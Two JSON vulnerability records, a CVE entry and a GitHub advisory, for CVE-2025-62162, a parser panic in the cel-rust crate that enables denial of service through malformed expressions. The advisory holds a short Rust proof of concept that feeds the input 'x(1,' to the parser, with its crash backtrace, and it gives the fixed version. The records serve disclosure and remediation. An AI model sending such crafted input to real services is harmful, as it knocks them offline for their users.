{
  "affected": [
    {
      "affectedData": [
        {
          "product": "cel-rust",
          "vendor": "cel-rust",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.10.0, \u003c 0.11.4"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "cel-rust is a Common Expression Language interpreter written in Rust. Starting in version 0.10.0 and prior to version 0.11.4, parsing certain malformed CEL expressions can cause the parser to panic, terminating the process. When the crate is used to evaluate untrusted expressions (e.g., user-supplied input over an API), an attacker can send crafted input to trigger a denial of service (DoS). Version 0.11.4 fixes the issue."
    }
  ],
  "id": "CVE-2025-62162",
  "lastModified": "2026-06-17T09:51:29.163",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-62162",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2025-10-14T13:43:26.615519Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2025-10-10T23:15:36.713",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/cel-rust/cel-rust/releases/tag/cel-v0.11.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/cel-rust/cel-rust/security/advisories/GHSA-wxwx-9fh7-5mrw"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/cel-rust/cel-rust/security/advisories/GHSA-wxwx-9fh7-5mrw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "cel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.10.0"
            },
            {
              "fixed": "0.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62162"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-11T01:30:53Z",
    "nvd_published_at": "2025-10-10T23:15:36Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nParsing certain malformed CEL expressions can cause the parser to panic, terminating the process. When the crate is used to evaluate untrusted expressions (e.g., user-supplied input over an API), an attacker can send crafted input to trigger a denial of service (DoS).\n\n### Remediation\nUpgrade to 0.11.4\n```toml\n[dependencies]\ncel = \"0.11.4\"\n```\n\n### PoC\n\n```rust\nuse cel::{Context, Program};\n\nfn main() {\n    let program = Program::compile(\"x(1,\").unwrap();\n    let context = Context::default();\n    let value = program.execute(\u0026context).unwrap();\n    assert_eq!(value, true.into());\n}\n```\n\n```\n$ RUST_BACKTRACE=1 cargo run --bin example-simple\n   Compiling num-traits v0.2.19\n   Compiling aho-corasick v1.1.3\n   Compiling regex-syntax v0.8.5\n   Compiling arbitrary v1.4.1\n   Compiling serde v1.0.219\n   Compiling thiserror v1.0.69\n   Compiling regex-automata v0.4.9\n   Compiling chrono v0.4.41\n   Compiling regex v1.11.1\n   Compiling cel v0.10.0 (/home/john/git/cel-rust/cel)\n\nwarning: `cel` (lib) generated 15 warnings\n   Compiling example v0.1.0 (/home/john/git/cel-rust/example)\n    Finished `dev` profile [unoptimized + debuginfo] target(s) in 2.97s\n     Running `target/debug/example-simple`\n\nthread \u0027main\u0027 panicked at /home/john/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/antlr4rust-0.3.0-beta3/src/tree.rs:383:9:\ninternal error: entered unreachable code: should have been properly implemented by generated context when reachable\nstack backtrace:\n   0: __rustc::rust_begin_unwind\n   1: core::panicking::panic_fmt\n   2: antlr4rust::tree::Visitable::accept\n   3: \u003ccel::parser::gen::celparser::UnaryContextAll as antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e\u003e::accept\n   4: \u003cdyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn\u003cT\u003e\u003e::accept_dyn\n   5: \u003cT as antlr4rust::tree::VisitChildren\u003cNode\u003e\u003e::visit_node\n   6: \u003ccel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat\u003e::visit\n   7: \u003ccel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat\u003e::visit_calc\n   8: \u003cT as cel::parser::gen::celvisitor::CELVisitor\u003e::visit_calc\n   9: cel::parser::gen::celparser::\u003cimpl antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e for antlr4rust::parser_rule_context::BaseParserRuleContext\u003ccel::parser::gen::celparser::CalcContextExt\u003e\u003e::accept\n  10: \u003cdyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn\u003cT\u003e\u003e::accept_dyn\n  11: \u003cT as antlr4rust::tree::VisitChildren\u003cNode\u003e\u003e::visit_node\n  12: \u003ccel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat\u003e::visit\n  13: \u003ccel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat\u003e::visit_relation\n  14: \u003cT as cel::parser::gen::celvisitor::CELVisitor\u003e::visit_relation\n  15: cel::parser::gen::celparser::\u003cimpl antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e for antlr4rust::parser_rule_context::BaseParserRuleContext\u003ccel::parser::gen::celparser::RelationContextExt\u003e\u003e::accept\n  16: \u003cdyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn\u003cT\u003e\u003e::accept_dyn\n  17: \u003cT as antlr4rust::tree::VisitChildren\u003cNode\u003e\u003e::visit_node\n  18: \u003ccel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat\u003e::visit\n  19: \u003ccel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat\u003e::visit_conditionalAnd\n  20: \u003cT as cel::parser::gen::celvisitor::CELVisitor\u003e::visit_conditionalAnd\n  21: cel::parser::gen::celparser::\u003cimpl antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e for antlr4rust::parser_rule_context::BaseParserRuleContext\u003ccel::parser::gen::celparser::ConditionalAndContextExt\u003e\u003e::accept\n  22: \u003cdyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn\u003cT\u003e\u003e::accept_dyn\n  23: \u003cT as antlr4rust::tree::VisitChildren\u003cNode\u003e\u003e::visit_node\n  24: \u003ccel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat\u003e::visit\n  25: \u003ccel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat\u003e::visit_conditionalOr\n  26: \u003cT as cel::parser::gen::celvisitor::CELVisitor\u003e::visit_conditionalOr\n  27: cel::parser::gen::celparser::\u003cimpl antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e for antlr4rust::parser_rule_context::BaseParserRuleContext\u003ccel::parser::gen::celparser::ConditionalOrContextExt\u003e\u003e::accept\n  28: \u003cdyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn\u003cT\u003e\u003e::accept_dyn\n  29: \u003cT as antlr4rust::tree::VisitChildren\u003cNode\u003e\u003e::visit_node\n  30: \u003ccel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat\u003e::visit\n  31: \u003ccel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat\u003e::visit_expr\n  32: \u003cT as cel::parser::gen::celvisitor::CELVisitor\u003e::visit_expr\n  33: cel::parser::gen::celparser::\u003cimpl antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e for antlr4rust::parser_rule_context::BaseParserRuleContext\u003ccel::parser::gen::celparser::ExprContextExt\u003e\u003e::accept\n  34: \u003cdyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn\u003cT\u003e\u003e::accept_dyn\n  35: \u003cT as antlr4rust::tree::VisitChildren\u003cNode\u003e\u003e::visit_node\n  36: \u003ccel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat\u003e::visit\n  37: \u003ccel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat\u003e::visit_GlobalCall::{{closure}}\n  38: \u003ccore::iter::adapters::map::Map\u003cI,F\u003e as core::iter::traits::iterator::Iterator\u003e::next\n  39: alloc::vec::Vec\u003cT,A\u003e::extend_desugared\n  40: \u003calloc::vec::Vec\u003cT,A\u003e as alloc::vec::spec_extend::SpecExtend\u003cT,I\u003e\u003e::spec_extend\n  41: \u003calloc::vec::Vec\u003cT\u003e as alloc::vec::spec_from_iter_nested::SpecFromIterNested\u003cT,I\u003e\u003e::from_iter\n  42: \u003calloc::vec::Vec\u003cT\u003e as alloc::vec::spec_from_iter::SpecFromIter\u003cT,I\u003e\u003e::from_iter\n  43: \u003calloc::vec::Vec\u003cT\u003e as core::iter::traits::collect::FromIterator\u003cT\u003e\u003e::from_iter\n  44: core::iter::traits::iterator::Iterator::collect\n  45: \u003ccel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat\u003e::visit_GlobalCall\n  46: \u003cT as cel::parser::gen::celvisitor::CELVisitor\u003e::visit_GlobalCall\n  47: cel::parser::gen::celparser::\u003cimpl antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e for antlr4rust::parser_rule_context::BaseParserRuleContext\u003ccel::parser::gen::celparser::GlobalCallContextExt\u003e\u003e::accept\n  48: \u003ccel::parser::gen::celparser::PrimaryContextAll as antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e\u003e::accept\n  49: \u003cdyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn\u003cT\u003e\u003e::accept_dyn\n  50: \u003cT as antlr4rust::tree::VisitChildren\u003cNode\u003e\u003e::visit_node\n  51: \u003ccel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat\u003e::visit\n  52: \u003ccel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat\u003e::visit_PrimaryExpr\n  53: \u003cT as cel::parser::gen::celvisitor::CELVisitor\u003e::visit_PrimaryExpr\n  54: cel::parser::gen::celparser::\u003cimpl antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e for antlr4rust::parser_rule_context::BaseParserRuleContext\u003ccel::parser::gen::celparser::PrimaryExprContextExt\u003e\u003e::accept\n  55: \u003ccel::parser::gen::celparser::MemberContextAll as antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e\u003e::accept\n  56: \u003cdyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn\u003cT\u003e\u003e::accept_dyn\n  57: \u003cT as antlr4rust::tree::VisitChildren\u003cNode\u003e\u003e::visit_node\n  58: \u003ccel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat\u003e::visit\n  59: \u003ccel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat\u003e::visit_MemberExpr\n  60: \u003cT as cel::parser::gen::celvisitor::CELVisitor\u003e::visit_MemberExpr\n  61: cel::parser::gen::celparser::\u003cimpl antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e for antlr4rust::parser_rule_context::BaseParserRuleContext\u003ccel::parser::gen::celparser::MemberExprContextExt\u003e\u003e::accept\n  62: \u003ccel::parser::gen::celparser::UnaryContextAll as antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e\u003e::accept\n  63: \u003cdyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn\u003cT\u003e\u003e::accept_dyn\n  64: \u003cT as antlr4rust::tree::VisitChildren\u003cNode\u003e\u003e::visit_node\n  65: \u003ccel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat\u003e::visit\n  66: \u003ccel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat\u003e::visit_calc\n  67: \u003cT as cel::parser::gen::celvisitor::CELVisitor\u003e::visit_calc\n  68: cel::parser::gen::celparser::\u003cimpl antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e for antlr4rust::parser_rule_context::BaseParserRuleContext\u003ccel::parser::gen::celparser::CalcContextExt\u003e\u003e::accept\n  69: \u003cdyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn\u003cT\u003e\u003e::accept_dyn\n  70: \u003cT as antlr4rust::tree::VisitChildren\u003cNode\u003e\u003e::visit_node\n  71: \u003ccel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat\u003e::visit\n  72: \u003ccel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat\u003e::visit_relation\n  73: \u003cT as cel::parser::gen::celvisitor::CELVisitor\u003e::visit_relation\n  74: cel::parser::gen::celparser::\u003cimpl antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e for antlr4rust::parser_rule_context::BaseParserRuleContext\u003ccel::parser::gen::celparser::RelationContextExt\u003e\u003e::accept\n  75: \u003cdyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn\u003cT\u003e\u003e::accept_dyn\n  76: \u003cT as antlr4rust::tree::VisitChildren\u003cNode\u003e\u003e::visit_node\n  77: \u003ccel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat\u003e::visit\n  78: \u003ccel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat\u003e::visit_conditionalAnd\n  79: \u003cT as cel::parser::gen::celvisitor::CELVisitor\u003e::visit_conditionalAnd\n  80: cel::parser::gen::celparser::\u003cimpl antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e for antlr4rust::parser_rule_context::BaseParserRuleContext\u003ccel::parser::gen::celparser::ConditionalAndContextExt\u003e\u003e::accept\n  81: \u003cdyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn\u003cT\u003e\u003e::accept_dyn\n  82: \u003cT as antlr4rust::tree::VisitChildren\u003cNode\u003e\u003e::visit_node\n  83: \u003ccel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat\u003e::visit\n  84: \u003ccel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat\u003e::visit_conditionalOr\n  85: \u003cT as cel::parser::gen::celvisitor::CELVisitor\u003e::visit_conditionalOr\n  86: cel::parser::gen::celparser::\u003cimpl antlr4rust::tree::Visitable\u003cdyn cel::parser::gen::celvisitor::CELVisitor\u003e for antlr4rust::parser_rule_context::BaseParserRuleContext\u003ccel::parser::gen::celparser::ConditionalOrContextExt\u003e\u003e::accept\n  87: \u003cdyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn\u003cT\u003e\u003e::accept_dyn\n  88: \u003cT as antlr4rust::tree::VisitChildren\u003cNode\u003e\u003e::visit_node\n  89: \u003ccel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat\u003e::visit\n  90: \u003ccel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat\u003e::visit_expr\n  91: \u003cT as cel::parser::gen::celvisitor::CELVisitor\u003e::visit_expr\nnote: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.\n```\n\n### Impact\nUsers accepting untrusted CEL expressions",
  "id": "GHSA-wxwx-9fh7-5mrw",
  "modified": "2025-10-11T01:30:54Z",
  "published": "2025-10-11T01:30:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cel-rust/cel-rust/security/advisories/GHSA-wxwx-9fh7-5mrw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62162"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cel-rust/cel-rust/commit/9df9822d81d91a3ce0fc9f712f4574a659247be3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cel-rust/cel-rust"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cel-rust/cel-rust/releases/tag/cel-v0.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "cel-rust May Panic During Parsing of Invalid CEL Expressions"
}